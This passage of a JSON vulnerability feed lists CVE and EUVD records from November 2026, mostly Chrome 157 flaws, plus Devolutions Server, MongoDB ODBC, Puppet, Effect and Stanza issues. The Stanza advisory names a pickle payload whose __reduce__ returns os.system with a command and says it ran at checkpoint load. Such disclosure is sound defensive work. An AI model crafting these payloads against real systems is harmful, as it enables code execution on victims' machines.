High)","cvss":8.8,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.8,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/568832157"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:08","euvd":{"id":"EUVD-2026-116389","description":"Use after free in Layout in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","published_time":"2026-11-03T20:42:28","cvss":8.8,"cvss_version":"3.1","epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/568832157"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121045","summary":"UI misrepresentation in Browser in Google Chrome on on Mac prior to 157.0.8103.38 allowed a remote attacker leveraging social engineering to spoof UI elements via a crafted HTML page. (Chromium security severity: Low)","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/563689651"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:08","euvd":{"id":"EUVD-2026-116354","description":"UI misrepresentation in Browser in Google Chrome on on Mac prior to 157.0.8103.38 allowed a remote attacker leveraging social engineering to spoof UI elements via a crafted HTML page. (Chromium security severity: Low)","published_time":"2026-11-03T20:43:00","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/563689651"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121046","summary":"Incorrect authorization in WebAppInstalls in Google Chrome prior to 157.0.8103.38 allowed a remote attacker leveraging social engineering to spoof address bar via a crafted HTML page. (Chromium security severity: Low)","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/520554677"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:08","euvd":{"id":"EUVD-2026-116324","description":"Incorrect authorization in WebAppInstalls in Google Chrome prior to 157.0.8103.38 allowed a remote attacker leveraging social engineering to spoof address bar via a crafted HTML page. (Chromium security severity: Low)","published_time":"2026-11-03T20:42:54","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/520554677"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121037","summary":"Out of bounds write in ANGLE in Google Chrome on on Windows prior to 157.0.8103.38 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)","cvss":9.6,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":9.6,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/569415790"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:07","euvd":{"id":"EUVD-2026-116394","description":"Out of bounds write in ANGLE in Google Chrome on on Windows prior to 157.0.8103.38 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)","published_time":"2026-11-03T20:42:29","cvss":9.6,"cvss_version":"3.1","epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/569415790"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121038","summary":"Information leak in Compositing in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to obtain cross-origin data via a crafted HTML page. (Chromium security severity: High)","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/568903801"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:07","euvd":{"id":"EUVD-2026-116391","description":"Information leak in Compositing in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to obtain cross-origin data via a crafted HTML page. (Chromium security severity: High)","published_time":"2026-11-03T20:42:28","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/568903801"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121039","summary":"Incorrect authorization in Proxy Auth in Google Chrome prior to 157.0.8103.38 allowed an adjacent attacker to obtain sensitive information via crafted network traffic. (Chromium security severity: Medium)","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/533454968"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:07","euvd":{"id":"EUVD-2026-116463","description":"Incorrect authorization in Proxy Auth in Google Chrome prior to 157.0.8103.38 allowed an adjacent attacker to obtain sensitive information via crafted network traffic. (Chromium security severity: Medium)","published_time":"2026-11-03T20:42:43","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/533454968"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121040","summary":"Incorrect authorization in Core in Google Chrome prior to 157.0.8103.38 allowed a remote attacker who had compromised the renderer process to bypass system access restrictions via a crafted HTML page. (Chromium security severity: Medium)","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/553148542"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:07","euvd":{"id":"EUVD-2026-116472","description":"Incorrect authorization in Core in Google Chrome prior to 157.0.8103.38 allowed a remote attacker who had compromised the renderer process to bypass system access restrictions via a crafted HTML page. (Chromium security severity: Medium)","published_time":"2026-11-03T20:42:44","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/553148542"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121030","summary":"Incorrect authorization in DevTools in Google Chrome prior to 157.0.8103.38 allowed a remote attacker leveraging social engineering to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","cvss":9.6,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":9.6,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/553152519"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:06","euvd":{"id":"EUVD-2026-116473","description":"Incorrect authorization in DevTools in Google Chrome prior to 157.0.8103.38 allowed a remote attacker leveraging social engineering to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","published_time":"2026-11-03T20:42:45","cvss":9.6,"cvss_version":"3.1","epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/553152519"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121031","summary":"Missing authorization in PDF in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to bypass web origin policy into a privileged page via a crafted Chrome extension. (Chromium security severity: Medium)","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/497950736"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:06","euvd":{"id":"EUVD-2026-116448","description":"Missing authorization in PDF in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to bypass web origin policy into a privileged page via a crafted Chrome extension. (Chromium security severity: Medium)","published_time":"2026-11-03T20:42:40","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/497950736"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121032","summary":"Out of bounds read in Skia in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to read memory outside the sandbox via a crafted HTML page. (Chromium security severity: High)","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/573263908"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:06","euvd":{"id":"EUVD-2026-116403","description":"Out of bounds read in Skia in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to read memory outside the sandbox via a crafted HTML page. (Chromium security severity: High)","published_time":"2026-11-03T20:42:31","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/573263908"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121033","summary":"Uninitialized resource in GPU in Google Chrome on on Android prior to 157.0.8103.38 allowed a remote attacker who had compromised the renderer process to read memory outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/562221093"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:06","euvd":{"id":"EUVD-2026-116480","description":"Uninitialized resource in GPU in Google Chrome on on Android prior to 157.0.8103.38 allowed a remote attacker who had compromised the renderer process to read memory outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","published_time":"2026-11-03T20:42:46","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/562221093"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121034","summary":"Use after free in Views in Google Chrome on on Windows prior to 157.0.8103.38 allowed a remote attacker leveraging social engineering to execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)","cvss":9.6,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":9.6,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/577400880"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:06","euvd":{"id":"EUVD-2026-116431","description":"Use after free in Views in Google Chrome on on Windows prior to 157.0.8103.38 allowed a remote attacker leveraging social engineering to execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)","published_time":"2026-11-03T20:42:36","cvss":9.6,"cvss_version":"3.1","epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/577400880"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121035","summary":"Use after free in Prerender in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Critical)","cvss":9.6,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":9.6,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/567216197"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:06","euvd":{"id":"EUVD-2026-116501","description":"Use after free in Prerender in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Critical)","published_time":"2026-11-03T20:42:22","cvss":9.6,"cvss_version":"3.1","epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/567216197"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121036","summary":"Use after free in CSS in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","cvss":8.8,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.8,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/577378379"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:06","euvd":{"id":"EUVD-2026-116429","description":"Use after free in CSS in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","published_time":"2026-11-03T20:42:36","cvss":8.8,"cvss_version":"3.1","epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/577378379"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121029","summary":"Incorrect authorization in ORB in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to bypass site isolation via a crafted HTML page. (Chromium security severity: Low)","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/563877891"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:05","euvd":{"id":"EUVD-2026-116355","description":"Incorrect authorization in ORB in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to bypass site isolation via a crafted HTML page. (Chromium security severity: Low)","published_time":"2026-11-03T20:43:00","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/563877891"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-120715","summary":"Server-side request forgery in the Active Directory credential validation in Devolutions Server 2026.3.12.0 and earlier allows an authenticated low-privileged user to capture the NetNTLMv2 hash of the DVLS service account via an attacker-controlled domain name in the request.","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://devolutions.net/security/advisories/DEVO-2026-0039/"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:04","euvd":{"id":"EUVD-2026-116491","description":"Server-side request forgery in the Active Directory credential validation in Devolutions Server 2026.3.12.0 and earlier allows an authenticated low-privileged user to capture the NetNTLMv2 hash of the DVLS service account via an attacker-controlled domain name in the request.","published_time":"2026-11-03T20:34:30","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"DEVOLUTIONS","references":["https://devolutions.net/security/advisories/DEVO-2026-0039/"],"products":["Server"],"vendors":["Devolutions"]},"ghsa":null},{"cve_id":"CVE-2026-120716","summary":"Insertion of sensitive information into sent data in the identity provider user synchronization in Devolutions Server 2026.3.13.0 and earlier allows an authenticated user with the delegated permission to update users from the identity provider to obtain other users' MFA secrets via the synchronization API response.","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://devolutions.net/security/advisories/DEVO-2026-0039/"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:04","euvd":{"id":"EUVD-2026-116497","description":"Insertion of sensitive information into sent data in the identity provider user synchronization in Devolutions Server 2026.3.13.0 and earlier allows an authenticated user with the delegated permission to update users from the identity provider to obtain other users' MFA secrets via the synchronization API response.","published_time":"2026-11-03T20:40:53","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"DEVOLUTIONS","references":["https://devolutions.net/security/advisories/DEVO-2026-0039/"],"products":["Server"],"vendors":["Devolutions"]},"ghsa":null},{"cve_id":"CVE-2026-120733","summary":"Cleartext storage of sensitive information in the user account data in Devolutions Server 2026.3.12.0 and earlier allows an attacker with read access to the database or a database backup to obtain users' TOTP shared secrets via the unencrypted copy of the security key written when an administrator saves a user.","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://devolutions.net/security/advisories/DEVO-2026-0039/"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:04","euvd":{"id":"EUVD-2026-116489","description":"Cleartext storage of sensitive information in the user account data in Devolutions Server 2026.3.12.0 and earlier allows an attacker with read access to the database or a database backup to obtain users' TOTP shared secrets via the unencrypted copy of the security key written when an administrator saves a user.","published_time":"2026-11-03T20:32:35","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"DEVOLUTIONS","references":["https://devolutions.net/security/advisories/DEVO-2026-0039/"],"products":["Server"],"vendors":["Devolutions"]},"ghsa":null},{"cve_id":"CVE-2026-120734","summary":"Cleartext transmission of sensitive information in the email configuration test in Devolutions Server 2026.3.13.0 and earlier allows an authenticated user with access to the test action to obtain the stored SMTP password via a request that names an attacker-controlled SMTP host.","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://devolutions.net/security/advisories/DEVO-2026-0039/"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:04","euvd":{"id":"EUVD-2026-116492","description":"Cleartext transmission of sensitive information in the email configuration test in Devolutions Server 2026.3.13.0 and earlier allows an authenticated user with access to the test action to obtain the stored SMTP password via a request that names an attacker-controlled SMTP host.","published_time":"2026-11-03T20:37:06","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"DEVOLUTIONS","references":["https://devolutions.net/security/advisories/DEVO-2026-0039/"],"products":["Server"],"vendors":["Devolutions"]},"ghsa":null},{"cve_id":"CVE-2026-120952","summary":"An out-of-bounds write in the MongoDB Atlas SQL ODBC Driver may be triggered when a value of a particular database type is retrieved into a fixed-width client-side target. The driver produces a textual form of the value that is longer than the fixed target the ODBC interface defines, and copies it without limiting the copy to the target's real size. A database user with basic write privileges can influence part of the data written outside the target, which may corrupt memory in the application using the driver and cause that application to terminate unexpectedly.","cvss":6.0,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":7.1,"cvss_v4":6.0,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://jira.mongodb.org/browse/SQL-3539","https://www.mongodb.com/docs/sql-interface/changelog/"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:04","euvd":{"id":"EUVD-2026-116213","description":"An out-of-bounds write in the MongoDB Atlas SQL ODBC Driver may be triggered when a value of a particular database type is retrieved into a fixed-width client-side target. The driver produces a textual form of the value that is longer than the fixed target the ODBC interface defines, and copies it without limiting the copy to the target's real size. A database user with basic write privileges can influence part of the data written outside the target, which may corrupt memory in the application using the driver and cause that application to terminate unexpectedly.","published_time":"2026-11-03T20:16:12","cvss":6.0,"cvss_version":"4.0","epss":0.0,"assigner":"mongodb","references":["https://www.mongodb.com/docs/sql-interface/changelog/","https://jira.mongodb.org/browse/SQL-3539"],"products":["Atlas SQL ODBC driver"],"vendors":["MONGODB"]},"ghsa":null},{"cve_id":"CVE-2026-120959","summary":"A memory-handling flaw in the MongoDB Atlas SQL ODBC Driver can cause values returned for a query to be written outside the bounds of a buffer provided by the calling application. A party able to influence the values a query returns may cause data to be placed at an unintended location in the client application's memory, which may result in unintended modification of that memory or termination of the client process. Reaching this condition depends on a specific, application-chosen way of requesting several result rows at once.","cvss":2.1,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":3.7,"cvss_v4":2.1,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://jira.mongodb.org/browse/SQL-3458","https://www.mongodb.com/docs/sql-interface/changelog/"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:04","euvd":{"id":"EUVD-2026-116214","description":"A memory-handling flaw in the MongoDB Atlas SQL ODBC Driver can cause values returned for a query to be written outside the bounds of a buffer provided by the calling application. A party able to influence the values a query returns may cause data to be placed at an unintended location in the client application's memory, which may result in unintended modification of that memory or termination of the client process. Reaching this condition depends on a specific, application-chosen way of requesting several result rows at once.","published_time":"2026-11-03T20:18:03","cvss":2.1,"cvss_version":"4.0","epss":0.0,"assigner":"mongodb","references":["https://www.mongodb.com/docs/sql-interface/changelog/","https://jira.mongodb.org/browse/SQL-3458"],"products":["Atlas SQL"],"vendors":["MONGODB"]},"ghsa":null},{"cve_id":"CVE-2026-115732","summary":"Incorrect authorization in the certificate-name matching of trapperkeeper-authorization, as used by Puppet Server, in the affected products, allows a client that holds a CA-signed certificate whose name extends or shortens an authorized hostname to be authorized as that host. This enables impersonation of other nodes and, in Puppet Enterprise, access to certificate-authority administration and remote command execution on managed nodes. Exploitation requires a certificate with a colliding name, which the certificate authority issues by approval or autosign.","cvss":9.0,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":null,"cvss_v4":9.0,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://portal.perforce.com/s/cve/a91Qi000003IaJRIA0/certificate-name-authorization-bypass"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:02","euvd":{"id":"EUVD-2026-116493","description":"Incorrect authorization in the certificate-name matching of trapperkeeper-authorization, as used by Puppet Server, in the affected products, allows a client that holds a CA-signed certificate whose name extends or shortens an authorized hostname to be authorized as that host. This enables impersonation of other nodes and, in Puppet Enterprise, access to certificate-authority administration and remote command execution on managed nodes. Exploitation requires a certificate with a colliding name, which the certificate authority issues by approval or autosign.","published_time":"2026-11-03T20:38:24","cvss":9.0,"cvss_version":"4.0","epss":0.0,"assigner":"Perforce","references":["https://portal.perforce.com/s/cve/a91Qi000003IaJRIA0/certificate-name-authorization-bypass"],"products":["Puppet Enterprise","Puppet Enterprise","Puppet Enterprise","Puppet Enterprise","Puppet Enterprise","Puppet Enterprise"],"vendors":["Perforce"]},"ghsa":null},{"cve_id":"CVE-2026-115779","summary":"Effect is a TypeScript framework that consists of several packages that work together to help build TypeScript applications. From @effect/platform 0.1.0 until 0.97.1 and effect 4.0.0-beta.0 until 4.0.0-beta.103, the name, domain, and path fields passed to makeCookie() allow semicolon delimiters that serializeCookie() writes verbatim into Set-Cookie headers. A caller that supplies attacker-controlled values can append cookie attributes, including a broader Domain or, when the caller has not set those options itself, SameSite=None or Max-Age. Encoded cookie values and CR or LF characters remain unaffected. This can widen a cookie's scope or add otherwise-unset cookie attributes. This issue is fixed in @effect/platform 0.97.1 and effect 4.0.0-beta.103.","cvss":6.3,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":null,"cvss_v4":6.3,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/Effect-TS/effect/commit/4a57af24011db1d66e947289d2f7ffc2074696d2","https://github.com/Effect-TS/effect/commit/5859b373b9be04d5037a594196b4743ad80379bd","https://github.com/Effect-TS/effect/pull/6763","https://github.com/Effect-TS/effect/pull/6765","https://github.com/Effect-TS/effect/releases/tag/@effect/platform@0.97.1","https://github.com/Effect-TS/effect/releases/tag/effect@4.0.0-beta.103","https://github.com/Effect-TS/effect/security/advisories/GHSA-chp3-j5qr-2vfr"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:02","euvd":{"id":"EUVD-2026-116496","description":"Effect is a TypeScript framework that consists of several packages that work together to help build TypeScript applications. From @effect/platform 0.1.0 until 0.97.1 and effect 4.0.0-beta.0 until 4.0.0-beta.103, the name, domain, and path fields passed to makeCookie() allow semicolon delimiters that serializeCookie() writes verbatim into Set-Cookie headers. A caller that supplies attacker-controlled values can append cookie attributes, including a broader Domain or, when the caller has not set those options itself, SameSite=None or Max-Age. Encoded cookie values and CR or LF characters remain unaffected. This can widen a cookie's scope or add otherwise-unset cookie attributes. This issue is fixed in @effect/platform 0.97.1 and effect 4.0.0-beta.103.","published_time":"2026-11-03T20:40:19","cvss":6.3,"cvss_version":"4.0","epss":0.0,"assigner":"GitHub_M","references":["https://github.com/Effect-TS/effect/security/advisories/GHSA-chp3-j5qr-2vfr","https://github.com/Effect-TS/effect/pull/6763","https://github.com/Effect-TS/effect/pull/6765","https://github.com/Effect-TS/effect/commit/4a57af24011db1d66e947289d2f7ffc2074696d2","https://github.com/Effect-TS/effect/commit/5859b373b9be04d5037a594196b4743ad80379bd","https://github.com/Effect-TS/effect/releases/tag/@effect/platform@0.97.1","https://github.com/Effect-TS/effect/releases/tag/effect@4.0.0-beta.103"],"products":["platform","effect"],"vendors":["Effect-TS","@effect"]},"ghsa":null},{"cve_id":"CVE-2026-115878","summary":"Stanza is a Stanford NLP Python library for tokenization, sentence segmentation, NER, and parsing of many human languages. From 1.14.0 until 1.15.0, loading an attacker-supplied lemmatizer checkpoint can execute arbitrary code because stanza/models/lemma/trainer.py stores pos_dict as gzip-compressed pickle bytes and Trainer.load passes the decompressed stream to unrestricted pickle.loads. The outer torch.load call uses weights_only=True, but the nested bytes are treated as a primitive and are not inspected by that allowlist. The path is reachable during pipeline construction through a caller-influenced lemma_model_path, before inference begins. This issue is fixed in version 1.15.0.","cvss":7.8,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":7.8,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/stanfordnlp/stanza/commit/b21e1c9b47b4fccff21d3b0a6c0687a19410c2f0","https://github.com/stanfordnlp/stanza/pull/1649","https://github.com/stanfordnlp/stanza/releases/tag/v1.15.0","https://github.com/stanfordnlp/stanza/security/advisories/GHSA-gh9r-c94j-cmp5"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:02","euvd":{"id":"EUVD-2026-116216","description":"Stanza is a Stanford NLP Python library for tokenization, sentence segmentation, NER, and parsing of many human languages. From 1.14.0 until 1.15.0, loading an attacker-supplied lemmatizer checkpoint can execute arbitrary code because stanza/models/lemma/trainer.py stores pos_dict as gzip-compressed pickle bytes and Trainer.load passes the decompressed stream to unrestricted pickle.loads. The outer torch.load call uses weights_only=True, but the nested bytes are treated as a primitive and are not inspected by that allowlist. The path is reachable during pipeline construction through a caller-influenced lemma_model_path, before inference begins. This issue is fixed in version 1.15.0.","published_time":"2026-11-03T20:26:02","cvss":7.8,"cvss_version":"3.1","epss":0.0,"assigner":"GitHub_M","references":["https://github.com/stanfordnlp/stanza/security/advisories/GHSA-gh9r-c94j-cmp5","https://github.com/stanfordnlp/stanza/pull/1649","https://github.com/stanfordnlp/stanza/commit/b21e1c9b47b4fccff21d3b0a6c0687a19410c2f0","https://github.com/stanfordnlp/stanza/releases/tag/v1.15.0"],"products":["stanza"],"vendors":["stanfordnlp"]},"ghsa":{"id":"GHSA-gh9r-c94j-cmp5","summary":"Stanza: RCE via pickle deserialization in the lemmatizer","details":"## TL;DR\n\nLoading an attacker-supplied lemma `.pt` runs arbitrary code as the loading user. Since 1.14.0 the lemmatizer stores `pos_dict` as a gzip-compressed pickle in the checkpoint's `dicts` field (a `bytes` value). `torch.load(weights_only=True)` treats `bytes` as a primitive and passes it through unexamined, so its allowlist never sees the inner stream. `Trainer.load` then feeds those bytes to an **unrestricted `pickle.loads`**: the only bare `pickle.loads` in the tree. Result: `weights_only=True` gives no protection here, and model loading executes code.\n\nConfirmed end-to-end against stanza 1.14.0 / PyTorch 2.13.0 / CPython 3.13.7: a crafted checkpoint whose payload `__reduce__` returns `(os.system, (cmd,))` ran the command at load time (marker file showed `uid=501(...)`, `executed_by=...`).\n\nA downstream user is vulnerable whenever they build a pipeline that loads a caller-supplied lemmatizer checkpoint. i.e. `stanza.Pipeline(lang=..., processors=\"tokenize,pos,lemma\", lemma_model_path=\"<attacker-influenced .pt>\")` (or any equivalent load of an 